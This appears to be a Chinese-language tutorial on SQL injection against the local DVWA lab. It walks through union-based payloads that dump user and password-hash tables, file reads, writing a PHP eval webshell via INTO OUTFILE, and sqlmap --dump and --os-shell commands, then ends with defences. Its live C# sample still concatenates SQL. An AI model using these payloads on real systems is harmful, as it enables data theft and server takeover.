1.何為Sql注入?
所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意的)SQL命令注入到后臺數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊.--百度百科之Sql注入
那sql注入的原理是啥呢?
簡單點說,大家都知道,我們網站的一些數據都要經過數據庫去查詢,我們只要找到服務器對某些某些請求缺少校驗,就能找到漏洞
舉個例子:
Select *from TableA where id="B"這個是個很正常的一個sql查詢語句
注入的本質就是把用戶輸入的數據當做代碼去執行,這里有兩個關鍵條件,一就是用戶能控制輸入,二就是原本程序要執行的代碼拼接了用戶輸入的數據
這里假設B我們可以控制我們可以使代碼變成以下方式
Select *from TableA where id='';drop table TableA--''
顯而易見,如果數據庫執行了此條語句將會把表TableA給刪除了,帶來了不可預料的影響。
Sql注入漏洞的典型危害是可以被用來獲取數據庫敏感數據(拖褲)
sql注入都有哪些類型呢?
①.sql盲注,包括布爾盲注和時間注入。
②.sql回顯注入,包括報錯注入和union聯合查詢注入。我們今天主要講的就是sql回顯注入。
2.sql注入實戰
(1)sql注入的流程
(2)工具、測試平臺及靶機的搭建
①.DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑒定的PHP/MySQL Web應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防范的過程。
DVWA傳送門(需自己本機有部署)
②.由于dvwa是一個php和mysql的環境,故我使用了功能強大的建站集成軟件包XAMPP(Apache+MySQL+PHP+PERL)
具體的搭建流程有興趣的同學可以去下載來看看
③.火狐hackbar插件
(3)sql注入測試
聲明:因為測試平臺數據庫為mysql,所以接下來的測試語句全部為mysql語句
①.首先我們先把dvwa的安全模式設置為low模式,以便于我們進行測試。
②.我們選擇sql注入欄目,判斷是否有sql注入
在滲透一個web應用時我們首先要了解業務,我們先輸入一個正常的數字
當然,我們也可以用我們熟悉的postman來請求http
那我們輸入數據時,web應用為什么能返回我們需要的數據呢?
在座的各位都是這方面的老司機,對于web數據交互都很熟悉。
通過這個流程,我們完全可以猜測下這個sql語句長什么樣子。
select Firstname,Surname from 表 where userid=我們輸入的id
那我們現在猜測了sql語句,但是要怎么去測試有沒有漏洞呢?
我們發現當輸入數據時url是發生變化的。
我們嘗試輸入1',web程序給我們如下的回顯:
從回顯信息中我們可以看出,在1'附近有sql錯誤,那就證明了有可注入點,因為我們輸入1時是正確的,但是輸入了1'卻出現了錯誤。
那我們如何去測試驗證這個web程序的漏洞呢?以下是三種常用的注入POC(驗證性觀點測試)
當我們輸入 1' or '1'='1 時,我們發現,web程序回顯出一堆的數據:
我們發現,這里已經執行成功了,證明sql語句被正常執行了
③.讀取數據
那根據我們剛才講的sql注入流程,我們判斷完sql注入后,我們接下來便是要獲取數據
我們都知道,sql中的引號是要閉合的,在sql注入中,經常使用注釋符,來構造閉合的語句,在mysql中注釋符后應加空格,否則會報錯。
在獲取數據之前,我們還要做一件很重要的事,那就是確定查詢的字段數
我們輸入 1' order by 10-- ,web程序給我們以下的回顯
證明了字段數一定小于10,那我們現在如何去確定字段數呢,我們采用二分法,一步步去看字段數是為幾。
我們嘗試了幾個后,發現3還是太大,那就是說明字段數為2.
接下來我們就要確定sql注入的回顯點
我們使用 xx' union select 1,2-- 語句來確定回顯點
此時的sql語句應該是變作 select Firstname,Surname from 表 where userid='xx' union select 1,2--' 這樣Firstname,Surname顯示的數據便是我們union查詢的數據
接下來我們查看下數據庫的版本和數據庫存放的目錄
我們也可以使用 xx' union select user(),database()-- 語句獲取用戶名和數據庫名
既然我們能查到這些信息,那么我們是否也能查詢到數據庫的所有信息呢?答案是肯定的。
接下來我們知道數據庫就可以使用 xx' union select 1,table_name from information_schema.tables where table_schema='dvwa'-- 來查詢表名
知道了表名,我們就可以使用 xx' union select 1,column_name from information_schema.columns where table_name='user'-- 來查詢列名
我們就可以發現其中用戶名和密碼都為敏感數據。我們的目的就是要查詢出這兩個信息
接下來我們就可以查詢用戶名及密碼等敏感數據,我們使用 xx' union select user,password from users-- 來查詢數據
我們發現密碼是一串hash串,數了一下是32位,就極有可能是md5加密,去用解密工具解密一下,就得到了明文的密碼。
我們不單單可以獲取數據庫的敏感數據,我們也可以獲取系統的敏感數據,我們使用 xx' union select 1,load_file("c:\windows\win.ini")--
當然,我們都想把一個漏洞利用最大化,除了能獲取數據外,最理想的當然是控制服務器,最常見的就是寫入webshell,我們上節課已經講過了webshell和一句話木馬
PHP一句話木馬: <?php @eval($_POST['pass']);?>
接下來我們要做的就是如何把這個一句話木馬寫入。我們要寫入一句話木馬,就得知道應該寫入哪里,這里要知道web應用程序的物理路徑。常用的方法就是通過引發異常,導致應用報錯,爆出物理路徑。
xx' union select "xx","xx" into outfile "xx"--
xx' union select "<?php @eval($_POST['pass']);?>","webshell" into outfile "C:\xampp\htdocs\dvwa\vulnerabilities\sqli\1.php"--
我們通過上節課講的中國菜刀進行訪問,就可以進入文件管理了:
學到這里,同學們可能就清楚了整個流程,但是會有同學問了,整個sql注入較為復雜,能不能有工具進行自動化注入呢? 接下來我們就我們學習一款注入神器工具--sqlmap
3.Sqlmap工具的使用
(1)Sqlmap為何被稱為神器?
①.支持的數據庫:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase,SAP MaxDB,HSQLDB and Informix
支持的數據庫范圍極廣,大部分常用的數據庫都是支持的。
②.支持的參數位置:GET,POST or Cookie parameters or via the HTTP User-Agent request header
③.支持多種注入模式
基于布爾的盲注,即可以根據返回頁面判斷條件真假的注入。
基于時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
基于報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。
聯合查詢注入,可以使用union的情況下的注入。
堆查詢注入,可以同時執行多條語句的執行時的注入。
備注:
Youtube上有人做的使用sqlmap的視頻:
http://www.youtube.com/user/inquisb/videos
http://www.youtube.com/user/stamparm/videos
使用sqlmap的實例文章:
http://www.kali.org.cn/thread-22844-1-1.html
https://www.cnblogs.com/hongfei/p/3872156.html
(2).sqlmap的基本語法
我們學習一個命令窗口的使用,首先要調出他的幫助菜單,sqlmap的幫助菜單命令為:
-h,--helper
-hh 這是更為詳細的幫助菜單命令
<a target="blank">sqlmap幫助菜單中文版傳送門</a>
(3).判斷注入點
命令:python sqlmap.py -u "目標URL"
那這邊我們就使用-u命令進行注入執行
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=u2mj5vt49529rn6oerk7o50515"
(4)獲取數據
①.我們首先來獲取下當前的用戶和數據庫名:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=u2mj5vt49529rn6oerk7o50515" --current-user --current-db
②.接下來我們根據剛才的流程我們獲取下表:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa --tables
③.然后就是字段名:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users --columns
④.獲取用戶名和密碼:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users -C "user,password" --dump
使用-c指定字段 使用--dump獲取數據
他會自動幫我們的數據下載成csv格式保存
⑤.我們前面講了可以上傳webshell,其實sqlmap也是可以的
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users -C "user,password" --os-shell
我們也可以用中國菜刀直接去連
接下來我們把dvwa安全級別上升,改為Medium級別,我們現在來看下sql注入測試界面有何變化?
我們發現原來的輸入框改成了下拉框,不是由我們輸入而是讓我們選擇。
我們知道,數據的提交都是http請求,我們先試著選擇1,然后打開谷歌開發者工具(F12),點擊提交,我們可以看到,請求由原來的get請求變成了post請求,參數不變。
這個時候我們就發現,其實跟我們之前差不多,我們也可以通過去改變參數。
我們可以通過一些抓包改包的工具去進行修改post參數。
這里值得注意的是當我們像簡單模式一樣注入sql語句xx' union select user(),database()--時,我們會發現引號會被轉義符轉義掉,此時我們直接去掉引號即可
我們這里換成postman請求http
那我們也可以用sqlmap
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium;PHPSESSID=6lu0cd67q0m9s0vpck6mug2sl5" --current-user --current-db
接下來就跟我們初級的做法一樣了,這里就不一一贅述。
我們再把安全級別調成High,我們看下界面變成什么樣?
我們可以清晰的看到,界面變成了點擊彈出一個窗口,在彈出的窗口處輸入數據,提交后回顯到原來的界面,我們用low模式下的注入方法嘗試,沒有任何問題,都是可以的。
但是我們看看在sqlmap下可以嘛,我們發現不在同一個頁面,導致不可以,那sqlmap有沒有其他命令可以支持這個的呢?
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/session-input.php/" --data "id=1&Submit=Submit" -p "id" --cookie "security=high;PHPSESSID=6lu0cd67q0m9s0vpck6mug2sl5" --second-url "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/" --current-user --current-db
4.sql注入的防御
(1).減少錯誤消息提示
應用的異常信息應該給出盡可能少的提示(關閉debug調試模式),最好使用自定義的錯誤信息對原始錯誤信息進行包裝。
(2).部署硬件防火墻
部署硬件web防火墻(WAF),可有效防止SQL注入等攻擊。
(3).消除特殊字符,對字符串進行過濾
永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度,對單引號與及特殊字符進行轉換等。從以上的sql注入攻擊實戰我們可以發現,大部分的sql注入都需要填入一些特殊字符,比如引號和等號或者or等關鍵字
這個是我們平臺的登錄界面,就是采用了消除特殊字符的方法,一旦有特殊字符,便返回輸入不合法,從根源斷絕sql注入。
(4)sql預編譯傳參
盡量不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取.在使用參數化查詢的情況下,數據庫服務器不會將參數的內容視為SQL指令的一部份來處理,而是在數據庫完成SQL指令的編譯后,才套用參數運行,因此就算參數中含有指令,也不會被數據庫運行。Access、SQL Server、MySQL、SQLite等常用數據庫都支持參數化查詢。
C# sqlservers
//string sql = "select *from User_Info where User_SN=@UserNO and User_Pwd=@pwd and Grade_SN=@sel";
//SqlParameter[] pars ={
// new SqlParameter("@UserNO",SqlDbType.NVarChar,15),
// new SqlParameter("@pwd",SqlDbType.NVarChar,15),
// new SqlParameter("@sel",SqlDbType.NVarChar,15)
// };
//pars[0].Value = UserNO;
//pars[1].Value = pwd;
//pars[2].Value = sel;
string sql =string.Format(@"select *from User_Info where User_SN={0} and User_Pwd={1} and Grade_SN={2}",UserNO,pwd,sel);
java MySQL
stmt.executeUpdate("insert into tb_name (col1,col2,col2,col4) values ('"+var1+"','"+var2+"',"+var3+",'"+var4+"')");
perstmt = con.prepareStatement("insert into tb_name (col1,col2,col2,col4) values (?,?,?,?)");
perstmt.setString(1,var1);
perstmt.setString(2,var2);
perstmt.setString(3,var3);
perstmt.setString(4,var4);
perstmt.executeUpdate();